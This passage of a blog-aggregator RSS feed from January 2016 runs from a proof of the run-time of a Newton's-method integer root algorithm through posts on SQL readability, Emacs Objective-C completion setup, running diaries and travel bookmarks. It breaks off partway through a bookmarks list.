  by \(s\), so it cannot decrease indefinitely. This is a contradiction,
  so \(\NewtonRoot\) must
  terminate. &amp;#x220e;&lt;/p&gt;
&lt;/div&gt;

Note that, like \(\NewtonRoot\),
  the check in step \(4.2\) cannot be weakened to \(x_{i+1} = x_i\), as
  doing so would cause the algorithm to oscillate. In fact, as \(p\)
  grows, so do the number of values of \(n\) that exhibit this behavior,
  and so do the number of possible oscillations. For example, \(n =
  972\) with \(p = 3\) would yield the sequence \(\{ 16, 11, 10, 9, 10,
  9, \dotsc \}\), and \(n = 80\) with \(p = 4\) would yield the sequence
\(\{ 4, 3, 2, 4, 3, 2, \dotsc \}\).&lt;/div&gt;

&lt;/section&gt;

&lt;section&gt;
  &lt;header&gt;
    &lt;h2&gt;3. Run-time&lt;/h2&gt;
  &lt;/header&gt;

  &lt;p&gt;We will show that \(\NewtonRoot\)
    takes \(Θ(p) + O(\lg \lg n)\) loop iterations. Then we will
    analyze a single loop iteration and the arithmetic operations used to
    get a total run-time bound.&lt;/p&gt;

  &lt;div class="p"&gt;Analagous to the square root case, define \(\Err(x) =
    x^p/n - 1\) and let \(ϵ_i = \Err(x_i)\). First,
    let&amp;rsquo;s prove our lower bound for \(ϵ_i\), which translates
    directly from the square root case:

  &lt;div class="theorem"&gt;(&lt;span class="theorem-name"&gt;Lemma 3&lt;/span&gt;.) \(x_i
    \ge s + 1\) if and only if \(ϵ_i \ge 1/n\).&lt;/div&gt;

  &lt;div class="proof"&gt;
  &lt;p&gt;&lt;span class="proof-name"&gt;Proof.&lt;/span&gt; \(n \lt (s + 1)^p\), so \(n + 1
    \le (s + 1)^p\), and therefore \((s + 1)^p/n - 1 \ge 1/n\). But the
    expression on the left side is just \(\Err(s +
    1)\). \(x_i \ge s + 1\) if and only if \(ϵ_i \ge
    \Err(s + 1)\), so the result immediately
    follows. &amp;#x220e;&lt;/p&gt;
  &lt;/div&gt;
  &lt;/div&gt;

  &lt;p&gt;Now for the next few lemmas we need to do some algebra and
    calculus. Inverting \(\Err(x)\), we get that \(x_i =
    \sqrt[p]{(ϵ_i + 1) \cdot n}\). Expressing \(g(x_i)\) in terms
    of \(ϵ_i\) and \(q = 1 - 1/p\) we get

    \[ g(x_i) = \sqrt[p]{n} \left( \frac{ϵ_i q +
    1}{(ϵ_i + 1)^q} \right) \]

    and

    \[
    \Err(g(x_i))
    = \frac{(q ϵ_i + 1)^p}{(ϵ_i + 1)^{p-1}} - 1\text{.}
    \]

    Let
    \[
    f(ϵ) = \frac{(q ϵ + 1)^p}{(ϵ + 1)^{p-1}} - 1\text{.}
    \]

    Then computing derivatives,

\[
    \begin{aligned}
    f'(ϵ) &amp;= q ϵ \frac{(q ϵ + 1)^{p-1}}{(ϵ + 1)^p}\text{,} \\
    f''(ϵ) &amp;= q \frac{(q ϵ + 1)^{p-2}}{(ϵ + 1)^{p + 1}}\text{, and} \\
    f'''(ϵ) &amp;= -q (2 + q (2 + 3 ϵ)) \frac{(q ϵ + 1)^{p-3}}{(ϵ + 1)^{p + 2}}\text{.}
    \end{aligned}
\]

    Note that \(f(0) = f'(0) = 0\), and \(f''(0) = q\). Also, for
    \(ϵ &gt; 0\), \(f'(ϵ) \gt 0\), \(f''(ϵ) \gt 0\), and
    \(f'''(ϵ) &amp;lt; 0\).&lt;/p&gt;

  &lt;div class="p"&gt;Now we&amp;rsquo;re ready to show that the \(ϵ_i\) shrink
    quadratically:

  &lt;div class="theorem"&gt;(&lt;span class="theorem-name"&gt;Lemma 4&lt;/span&gt;.)
    \(f(ϵ) \lt (ϵ/\sqrt{2})^2\) for \(ϵ \gt 0\).&lt;/div&gt;

  &lt;div class="proof"&gt;
  &lt;p&gt;&lt;span class="proof-name"&gt;Proof.&lt;/span&gt; Taylor-expand \(f(ϵ)\)
    around \(0\) with
    the &lt;a href="https://en.wikipedia.org/wiki/Taylor%27s_theorem#Explicit_formulae_for_the_remainder"&gt;Lagrange
    remainder form&lt;/a&gt; to get \[ f(ϵ) = f(0) + f'(0) ϵ +
    \frac{f''(0)}{2} ϵ^2 + \frac{f'''(\xi)}{6} ϵ^3 \] for
    some some \(\xi\) such that \(0 \lt \xi \lt ϵ\). Plugging in
    values, we see that \(f(ϵ) = \frac{1}{2} q ϵ^2 +
    \frac{1}{6} f'''(\xi) ϵ^3\) with the last term being negative,
    so \(f(ϵ) \lt \frac{1}{2} q ϵ^2 \lt \frac{1}{2}
    ϵ^2\). &amp;#x220e;&lt;/p&gt;
  &lt;/div&gt;

  But this is only a useful upper bound when \(ϵ_i \le 1\). In
    the square root case this was okay, since \(ϵ_1 \le 1\), but
    that is not true for larger values of \(p\). In fact, in general, the
    \(ϵ_i\) start off shrinking &lt;em&gt;linearly&lt;/em&gt;:

  &lt;div class="theorem"&gt;(&lt;span class="theorem-name"&gt;Lemma 5&lt;/span&gt;.) For
    \(ϵ \gt 1\), \(f(ϵ) \gt ϵ/8\).&lt;/div&gt;

  &lt;div class="proof"&gt;
  &lt;p&gt;&lt;span class="proof-name"&gt;Proof.&lt;/span&gt; Since \(f(0) = f'(0) = 0\), and
    \(f''(ϵ) \gt 0\) for \(ϵ \ge 0\), \(f'(ϵ)\) and
    \(f(ϵ)\) are increasing, and thus \(f(1) \gt 0\) and
    \(f(ϵ)\) is a concave-up curve.&lt;/p&gt;

  &lt;p&gt;Then \((0, 0)\) and \((1, f(1))\) are two points on a concave-up
    curve, and thus geometrically the line \(y = f(1) ϵ\) must lie
    below \(y = f(ϵ)\) for \(ϵ \gt 1\), and thus
    \(f(ϵ) \gt f(1) ϵ\) for \(ϵ \gt
    1\). Algebraically, this also follows from the definition
    of &lt;a href="https://en.wikipedia.org/wiki/Convex_function"&gt;(strict)
    convexity&lt;/a&gt; (with \(x_1 = 0\), \(x_2 = ϵ\), and \(t = 1 -
    1/ϵ\)).&lt;/p&gt;

  &lt;p&gt;But \(f(1) = (2 - 1/p)^p/2^{p-1} - 1 = 2 \left(1 -
    \frac{1}{2p}\right)^p - 1\), which is always increasing as a function
    of \(p\), as you can see by calculating its derivative. Therefore, its
    minimum is at \(p = 2\), which is \(1/8\), and so \(f(ϵ) \gt
    f(1) ϵ \ge ϵ/8\). &amp;#x220e;&lt;/p&gt;
  &lt;/div&gt;

  Finally, let&amp;rsquo;s bound our initial values:

  &lt;div class="theorem"&gt;(&lt;span class="theorem-name"&gt;Lemma 6&lt;/span&gt;.) \(x_0
    \le 2s\) and \(ϵ_0 \le 2^p - 1\).&lt;/div&gt;

  &lt;div class="proof"&gt;
  &lt;p&gt;&lt;span class="proof-name"&gt;Proof.&lt;/span&gt;
    This is a straightforward generalization of the equivalent lemma
      from the square root case. Let&amp;rsquo;s start with \(x_0\):

\[
      \begin{aligned}
      x_0 &amp;=   2^{\lceil \Bits(n) / p \rceil} \\
      &amp;=   2^{\lfloor (\lfloor \lg n \rfloor + 1 + p - 1)/p \rfloor} \\
      &amp;=   2^{\lfloor \lg n / p \rfloor + 1} \\
      &amp;=   2 \cdot 2^{\lfloor \lg n / p \rfloor}\text{.}
      \end{aligned}
\]

      Then \(x_0/2 = 2^{\lfloor \lg n / p \rfloor} \le 2^{\lg n / p} =
      \sqrt[p]{n}\). Since \(x_0/2\) is an integer, \(x_0/2 \le
      \sqrt[p]{n}\) if and only if \(x_0/2 \le \lfloor \sqrt[p]{n} \rfloor =
      s\). Therefore, \(x_0 \le 2s\).&lt;/p&gt;

    &lt;p&gt;As for \(ϵ_0\):

\[
      \begin{aligned}
      ϵ_0 &amp;=   \Err(x_0) \\
      &amp;\le \Err(2s) \\
      &amp;=   (2s)^p/n - 1 \\
      &amp;=   2^p s^p/n - 1\text{.}
      \end{aligned}
\]

      Since \(s^p \le n\), \(2^p s^p/n \le 2^p\) and thus \(ϵ_0 \le
      2^p - 1\). &amp;#x220e;&lt;/p&gt;
  &lt;/div&gt;
  &lt;/div&gt;

  &lt;div class="p"&gt;Now we&amp;rsquo;re ready to show our main result, which involves
    calculating how long the \(ϵ_i\) shrink linearly:

    &lt;div class="theorem"&gt;(&lt;span class="theorem-name"&gt;Theorem 3&lt;/span&gt;.)
      \(\NewtonRoot\) performs \(Θ(p)
      + O(\lg \lg n)\) loop iterations.&lt;/div&gt;

    &lt;div class="proof"&gt;
    &lt;p&gt;&lt;span class="proof-name"&gt;Proof.&lt;/span&gt; Assume that \(ϵ_i \gt 1\)
      for \(i \le j\), \(ϵ_{j+1} \le 1\), and \(j+k\) is the number
      of loop iterations performed when running the algorithm for \(n\) and
      \(p\) (i.e., \(x_{j+k} \ge x_{j+k-1}\)). Using Lemma 5,

      \[
      \left( \frac{1}{8} \right)^{j+1} ϵ_0 \lt ϵ_{j+1} \le 1\text{,}
      \]

      which implies

      \[
      j \gt \frac{\lg ϵ_0}{3} - 1\text{.}
      \]
    &lt;/p&gt;

    &lt;p&gt;Similarly,

    \[
    \left( \frac{1}{8} \right)^j ϵ_0 \ge ϵ_j \gt 1\text{,}
    \]

    which implies

    \[
    j \lt \frac{\lg ϵ_0}{3} \text{.}
    \]

    Therefore, \(j = Θ(\lg ϵ_0)\), which is \(Θ(p)\)
    by Lemma 6.&lt;/p&gt;

    &lt;p&gt;Now assume \(k \ge 5\). Then \(x_i \ge s + 1\) for \(i \lt j + k -
      1\). Since \(ϵ_{j+1} \le 1\) by assumption, \(ϵ_{j+3}
      \le 1/2\) and \(ϵ_i \le (ϵ_{j+3})^{2^{i-j-3}}\) for \(j
      + 3 \le i \lt j + k - 1\) by Lemma 4, then \(ϵ_{j+k-2} \le
      2^{-2^{k-5}}\). But \(1/n \le ϵ_{j+k-2}\) by Lemma 3, so \(1/n
      \le 2^{-2^{k-5}}\). Taking logs to bring down the \(k\) yields \(k - 5
      \le \lg \lg n\). Then \(k \le \lg \lg n + 5\), and thus \(k = O(\lg
      \lg n)\).&lt;/p&gt;

    &lt;p&gt;Therefore, the total number of loop iterations is \(Θ(p) +
      O(\lg \lg n)\). &amp;#x220e;&lt;/p&gt;
    &lt;/div&gt;
  &lt;/div&gt;

  &lt;p&gt;Note that \(p \le \lg n\), so we can just say that
    \(\NewtonRoot\) performs
    \(Θ(\lg n)\) operations. But that obscures rather than
    simplifies. Note that the proof above is very similar to the proof of
    the worse run-time of \(\mathrm{N{\small EWTON}\text{-}I{\small
    SQRT}'}\) where the initial guess varies. In this case, the error in
    our initial guess is magnified, since we raise it to the \((p-1)\)th
    power, and so that manifests as the \(Θ(p)\) term.&lt;/p&gt;

  &lt;p&gt;Furthermore, unlike the square root case, the number of arithmetic
    operations in a loop iteration isn&amp;rsquo;t constant. In particular,
    the sub-step to compute \(x_i^{p-1}\) takes a number of arithmetic
    operations dependent on \(p - 1\). Using repeated squarings, this
    computation would take \(Θ(\lg p)\) squarings and at most
    \(Θ(\lg p)\) multiplications.&lt;/p&gt;

  &lt;p&gt;If the cost of an arithmetic operation is constant, e.g.,
    we&amp;rsquo;re working with fixed-size integers, then the run-time bounds
    is the above multiplied by \(Θ(\lg p)\).&lt;/p&gt;

  &lt;p&gt;Otherwise, if the cost of an arithmetic operation depends on the
    length of its arguments, then we only have to multiply by a constant
    factor to get the run-time bounds in terms of arithmetic
    operations. If the cost of multiplying two numbers \(\le x\) is \(M(x)
    = O(\lg^k x)\), then the cost of computing \(x^p\) is \(O((p \lg
    x)^k)\). But \(x\) is \(Θ(n^{1/p})\), so the cost of computing
    \(x^p\) is \(O(\lg^k n)\), which is on the order of the cost of
    multiplying two numbers \(\le n\). Furthermore, note that we divide
    the result into \(n\), so we can stop once the computation of
    \(x_i^{p-1}\) exceeds \(n\). So in that case, we can treat a loop
    iteration as if it were performing a constant number of arithmetic
    operations on numbers of order \(n\), and so, like in the square root
    case, we pick up a factor of \(D(n)\), where \(D(n)\) is the run-time
    of dividing \(n\) by some number \(\le n\).&lt;/p&gt;
&lt;/section&gt;

&lt;hr /&gt;

&lt;p&gt;Like this post? Subscribe to
  &lt;!-- The image is 256x256, the center of the dot is 189 pixels from the
     top, and the radius of the dot is 24. Therefore, the dot is 43/256 =
     0.16796875 of the image height above the bottom.--&gt;
&lt;a href="feed/atom"&gt;my feed &lt;img alt="RSS icon" src="feed-icon.svg" /&gt;&lt;/a&gt;

  or follow me on
  &lt;a href="https://twitter.com/fakalin"&gt;Twitter &lt;img alt="Twitter icon" src="twitter-icon.svg" /&gt;&lt;/a&gt;.&lt;/p&gt;


&lt;section class="footnotes"&gt;
  &lt;header&gt;
    &lt;h2&gt;Footnotes&lt;/h2&gt;
  &lt;/header&gt;

  &lt;p id="fn1"&gt;[1] Go and JS implementations are available
    on &lt;a href="https://github.com/akalin/iroot"&gt;my GitHub&lt;/a&gt;.
    &lt;a href="#r1"&gt;↩&lt;/a&gt;&lt;/p&gt;

  &lt;p id="fn2"&gt;[2] Here, and in most of the article, we&amp;rsquo;ll
    implicitly assume that \(n \gt 0\) and \(p \gt 1\).
    &lt;a href="#r2"&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/section&gt;</description><author>Fred Akalin</author><pubDate>Sun, 10 Jan 2016 10:00:00 GMT</pubDate><guid isPermaLink="true">https://www.akalin.com/computing-iroot</guid></item><item><title>2015 Year in Review</title><link>https://solomon.io/2015-year-in-review/</link><description>It’s been an interesting year. I left my job as a producer at an ad agency, I helped start a fantasy sports company, I moved to Los Angeles and then moved back…</description><author>Sam Solomon</author><pubDate>Sun, 10 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://solomon.io/2015-year-in-review/</guid></item><item><title>Janathon 2016 #9</title><link>https://rjp.is/blogging/posts/janathon-2016-9-2/</link><description>Crikey. Was planned to be 20 miles but only managed just over 16 miles. BECAUSE OF THE HILLS.
LOOK AT THIS BUGGER.
That&amp;rsquo;s about 660ft of climbing in 2 miles. &amp;ldquo;It&amp;rsquo;s levelling off&amp;rdquo; said my LYING running LIAR companion LIAR every 200 LYING yards.
No wonder I&amp;rsquo;m ruined.
[26km up Sheffield]</description><author>infrequent oscillations</author><pubDate>Sat, 09 Jan 2016 23:52:41 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/janathon-2016-9-2/</guid></item><item><title>On Fables: Finishing up Antifragile</title><link>https://josh.works/misc/2016/01/09/on-fables-finishing-up-antifragile/</link><description>&lt;p&gt;I’m cleaning up some notes I wanted to jot down over the last few weeks&lt;/p&gt;

&lt;p&gt;Nassim Taleb, in 
&lt;a href="http://www.amazon.com/gp/product/B0083DJWGO/ref=dp-kindle-redirect?ie=UTF8&amp;amp;btkr=1"&gt;Antifragile&lt;/a&gt;, says:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;The great economist Ariel Rubinstein gets the green lumber fallacy - it requires a great deal of intellect and honesty to see things that way.
  Rubinstein refuses to claim that his knowledge of theoretical matters can be transalted - by him - into anything directly practical. To him, economics is like a fable - a fable writer is there to stimulate ideas, indirectly inspire practice perhaps, but certainly not to direct or determine practice.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Theory should stay independent from practice and vice versa.&lt;/p&gt;

&lt;p&gt;Rubinstein’s injunction that 
theory should stay independent from practice has two implications:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;It is easy to confuse theory 
about an outcome and the 
practice that led to that outcome. We’re all guilty of building narratives around events in our lives, both good and bad. Sometimes our narratives match reality, and sometime they don’t.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It’s important to realize that it is difficult to distinguish the two. Nassim referenced 
&lt;a href="https://en.wikipedia.org/wiki/Antifragile#Green_Lumber_Fallacy"&gt;the green lumber fallacy&lt;/a&gt; in which a very successful commodity trader 
didn’t understand what the commodity was that he was trading. (The trader thought that “green lumber” was lumber painted green, when it is actually just freshly cut lumber)&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;When we dispense feedback, advice, or judgement, we should be acutely aware that 
we probably don’t understand events nearly as well as we think we do.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If someone asks me how to rock climb better, I’ll tell them things that I think have helped me climb better. I could be entirely wrong about what matters. For example, I have tiny little legs. Barely any meat on them. I’ve got an ideal strength to weight ratio right off the couch. Does it really matter how much time I spend hangboarding? Sure, but probably not as much as I think it does.&lt;/p&gt;

&lt;p&gt;If I never displayed an aptitude for rock climbing, I probably would not be a rock climber. The aptitude was helped along by a genetic predisposition to have small legs. I never chose this, and am barely aware of it, so my advice to others should never be blindly trusted. This goes for anything related to jobs, money, hobbies, relationships, etc. I can’t imagine how many important components of each of those I’m entirely ignorant of.&lt;/p&gt;

&lt;p&gt;What I say is at best a story, a fable. I want to stimulate ideas, and perhapse indirectly inspire practice, but not direct or determine anyone’s decisions.&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Sat, 09 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/misc/2016/01/09/on-fables-finishing-up-antifragile/</guid></item><item><title>Writing more legible SQL</title><link>/2016/01/08/Writing-more-legible-SQL/</link><description>&lt;p&gt;A number of times in a crowd I&amp;rsquo;ve asked how many people enjoy writing SQL, and often there&amp;rsquo;s a person or two. The follow up is how many people enjoy reading other people&amp;rsquo;s SQL and that&amp;rsquo;s unanimously 0. The reason for this is that so many people write bad SQL. It&amp;rsquo;s not that it doesn&amp;rsquo;t do the job, it&amp;rsquo;s just that people don&amp;rsquo;t tend to treat SQL the same as other languages and don&amp;rsquo;t follow strong code formatting guidelines. So, of course here&amp;rsquo;s some of my own recommendations on how to make SQL more readable.&lt;/p&gt;
&lt;h3 id="one-thing-per-line"&gt;
&lt;div&gt;
One thing per line
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;Only put a single column/table/join per line. This is going to make for slightly more verbose SQL, but it will be easier to read and edit.. Here&amp;rsquo;s a basic example:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT foo,
bar
FROM baz
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id="align-your-projections-and-conditions"&gt;
&lt;div&gt;
Align your projections and conditions
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;You can somewhat see this in the above with &lt;code&gt;foo&lt;/code&gt; and &lt;code&gt;bar&lt;/code&gt; being on the same line. This is reasonably common for columns you&amp;rsquo;re selecting, but it&amp;rsquo;s not applied as often in &lt;code&gt;AND&lt;/code&gt; or &lt;code&gt;GROUP BY&lt;/code&gt; clauses. As you can see there is a difference though between:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT foo,
bar
FROM baz
WHERE foo &amp;gt; 3
AND bar = 'craig.kerstiens@gmail.com'
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And a cleaner version:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT foo,
bar
FROM baz
WHERE foo &amp;gt; 3
AND bar = 'craig.kerstiens@gmail.com'
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id="use-column-names-when-groupingordering"&gt;
&lt;div&gt;
Use column names when grouping/ordering
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;This is personally an awful habit of mine, but it is extremely convenient to just order by the column number. In the above query we could just &lt;code&gt;ORDER BY 1&lt;/code&gt;. This is especially easy when column 1 may be something like SUM(foo). However, ensuring you explicitly &lt;code&gt;ORDER BY SUM(foo)&lt;/code&gt; will help limit any misunderstanding of the data.&lt;/p&gt;
&lt;h3 id="comments"&gt;
&lt;div&gt;
Comments
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;You comment your code all the time, yet so few seem to comment their queries. A simple &lt;code&gt;--&lt;/code&gt; allows you to inline a comment, perhaps where there&amp;rsquo;s some oddities to what you&amp;rsquo;re joining or just anywhere it may need clarification. You can of course &lt;a href="/2013/07/29/documenting-your-postgres-database/"&gt;go much further&lt;/a&gt;, but at least some basic level of commenting should be required.&lt;/p&gt;
&lt;h3 id="casing"&gt;
&lt;div&gt;
Casing
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;As highlighted in these examples, having a standard for how you case your queries is especially handy. Sticking with all SQL keywords in caps allows you to easily parse what is SQL and what are columns or literals that you&amp;rsquo;re using in queries.&lt;/p&gt;
&lt;h3 id="ctes"&gt;
&lt;div&gt;
CTEs
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;First, yes they can be an optimisation boundary. But they can also make your query much more read-able and prevent you from doing the wrong thing because you couldn&amp;rsquo;t reason about a query.&lt;/p&gt;
&lt;p&gt;For those unfamiliar CTEs are like a view that exist just for the duration of that query being executed. You can have them reference previous CTEs so you can gradually build on them, much like you would code blocks. I won&amp;rsquo;t repeat too much of what &lt;a href="/2013/11/18/best-postgres-feature-youre-not-using/"&gt;I&amp;rsquo;ve already written about them&lt;/a&gt;, but if you&amp;rsquo;re unfamiliar with them or not using them &lt;a href="/2013/11/18/best-postgres-feature-youre-not-using/"&gt;they are a must&lt;/a&gt;. CTEs are easily one of the few pieces of SQL that I use on a daily basis.&lt;/p&gt;
&lt;h3 id="conclusion"&gt;
&lt;div&gt;
Conclusion
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;Of course this isn&amp;rsquo;t the only way to make your SQL more readable and this isn&amp;rsquo;t an exhaustive list. But hopefully you find these tips helpful, and for your favorite tip that I missed&amp;hellip; let me know about it &lt;a href="http://www.twitter.com/craigkerstiens"&gt;@craigkerstiens&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;A special thanks to &lt;a href="http://www.twitter.com/Case"&gt;@Case&lt;/a&gt; for reviewing.&lt;/em&gt;&lt;/p&gt;
&lt;!-- raw HTML omitted --&gt;
&lt;!-- raw HTML omitted --&gt;</description><author>CRAIG KERSTIENS</author><pubDate>Fri, 08 Jan 2016 22:55:56 GMT</pubDate><guid isPermaLink="true">/2016/01/08/Writing-more-legible-SQL/</guid></item><item><title>Janathon 2016 #8 - Sitting on trains doesn't count</title><link>https://rjp.is/blogging/posts/janathon-2016-8-sitting-on-trains-doesnt-count-2/</link><description>Since I&amp;rsquo;ll be doing many hours of that later and the insomnia prevents me from getting enough sleep to be able to get up sufficiently early to knock out a quick morning run before work and it&amp;rsquo;s cold and I&amp;rsquo;m tired and not feeling very well and WAH WAH WAH WAH WAH.
Anyway. Walking to Starbucks will have to do for today.
Tomorrow will make up for it&amp;hellip;
[Just over 2km]</description><author>infrequent oscillations</author><pubDate>Fri, 08 Jan 2016 14:11:08 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/janathon-2016-8-sitting-on-trains-doesnt-count-2/</guid></item><item><title>Emacs Objective-C completion with Irony</title><link>https://xenodium.com/emacs-objective-c-completion-with-irony</link><description>&lt;h2&gt;Install libclang on Mac&lt;/h2&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;brew install llvm --with-clang
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Configure Emacs&lt;/h2&gt;
&lt;pre&gt;&lt;code class="language-{.commonlisp"&gt;(use-package irony :ensure t
  :config
  (add-hook 'objc-mode-hook 'irony-mode)
  (add-hook 'irony-mode-hook 'irony-cdb-autosetup-compile-options))

(use-package company-irony :ensure t
  :config
  (add-hook  'objc-mode-hook (lambda ()
                               (setq-local company-backends '((company-irony)))))
  (add-hook 'irony-mode-hook 'company-irony-setup-begin-commands))
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;install irony server&lt;/h2&gt;
&lt;p&gt;Run:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-example"&gt;M-x irony-install-server
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;NOTE: Needs libclang: Install with &amp;quot;brew install llvm –with-clang&amp;quot; By default, irony-install-server did not find libclang on Mac OS. &lt;em&gt;irony-install-server&lt;/em&gt; invokes cmake for you. Work around by adding:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-example"&gt;-DCMAKE_PREFIX_PATH=/Users/your-user-name/homebrew/opt/llvm
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For example:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-example"&gt;cmake -DCMAKE_PREFIX_PATH=/Users/your-user-name/homebrew/opt/llvm -DCMAKE_INSTALL_PREFIX\=/Users/your-user-name/.emacs.d/irony/ /Users/your-user-name/.emacs.d/elpa/irony-20160106.1223/server &amp;amp;&amp;amp; cmake --build . --use-stderr --config Release --target install
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Compilation database&lt;/h2&gt;
&lt;h3&gt;Install xctool&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;brew install xctool
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Generate compilation database&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;xctool -sdk iphonesimulator -arch x86_64 -scheme SomeScheme -reporter pretty -reporter json-compilation-database:compile_commands.json clean build
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Set Irony's database path&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;M-x irony-cdb-json-add-compile-commands-path&lt;/p&gt;
&lt;/blockquote&gt;</description><author>xenodium.com @alvaro</author><pubDate>Fri, 08 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/emacs-objective-c-completion-with-irony</guid></item><item><title>Janathon 2016 #7 - Insomnia strikes</title><link>https://rjp.is/blogging/posts/janathon-2016-7-insomnia-strikes-2/</link><description>One of my (annoyingly frequent) bouts of insomnia struck leaving today a thorough write-off. No point trying to force through today&amp;rsquo;s run when it might risk the the weekend&amp;rsquo;s fun*.
* Not fun.
[Barely 2.5km from DLR to home]</description><author>infrequent oscillations</author><pubDate>Fri, 08 Jan 2016 00:08:48 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/janathon-2016-7-insomnia-strikes-2/</guid></item><item><title>Video: Die E-Commerce-Welt bei GALERIA Kaufhof</title><link>https://manuel.kiessling.net/2016/01/07/video-die-arbeitswelt-bei-galeria-de/</link><description>Das Personalmarketing der GALERIA Kaufhof GmbH hat einen wie ich finde sehr ansprechend gemachten Film zur Arbeitswelt im E-Commerce Bereich des Unternehmens drehen lassen, der unser Motto Wir ♥ E-Commerce! anschaulich macht. Mit dabei meine Kollegen Beate Radics, Rico Pfaus, und ich.</description><author>Home on The Log Book of Manuel Kießling</author><pubDate>Thu, 07 Jan 2016 17:13:00 GMT</pubDate><guid isPermaLink="true">https://manuel.kiessling.net/2016/01/07/video-die-arbeitswelt-bei-galeria-de/</guid></item><item><title>Finland travel bookmarks</title><link>https://xenodium.com/finland-travel-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.nytimes.com/interactive/2016/07/07/travel/what-to-do-36-hours-helsinki-finland.html?smid=tw-nytimestravel&amp;amp;smtyp=cur"&gt;36 Hours in Helsinki&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Boat to the Baltics; Tallinn (Estonia).&lt;/li&gt;
&lt;li&gt;Helsinki - Suomenlinna (former maritime fortress).&lt;/li&gt;
&lt;li&gt;Lapland (husky sledding, reindeer, Santa Claus village).&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.flickr.com/photos/discounterintelligence/25360452443"&gt;Päivä no:23 Reitti no:23 no:12 | Leipomo K.E.Avikainen (try munkkipossu: pig shaped donut)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.ragu.fi/"&gt;Ragu Ravintola (try panfried fiesh, pulled pork, steak tartare, chocolate mouse)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Rovaniemi for reindeer, dog sled, santaland, artic circle photos.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Thu, 07 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/finland-travel-bookmarks</guid></item><item><title>Northern lights travel bookmarks</title><link>https://xenodium.com/northern-lights-travel-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;Aim for a new moon (eg. 2016-01-10 or 2016-02-08).&lt;/li&gt;
&lt;li&gt;Aim for &lt;a href="http://sci.esa.int/cluster/33272-plasma-regions/?fbodylongid%3D1173"&gt;auroral zone&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.guide-gunnar.no/?ac_id%3D1&amp;amp;ac_parent%3D1&amp;amp;ao_name%3Dforside"&gt;Guide Gunnar&lt;/a&gt; will go distance to ensure you see the lights.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.sleddog.se/"&gt;Kiruna Sleddog Tours&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.msm.no/sami-week-tromsoe-2015.287592-242995.html"&gt;Tromsø's reindeer racing&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.visittromso.no/en"&gt;Tromsø&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://villmarkssenter.no/vinterprogram/hundekj%25C3%25B8ring/"&gt;Hundekjøring&lt;/a&gt;: drive your own sled.&lt;/li&gt;
&lt;li&gt;Tromsø whale watching.&lt;/li&gt;
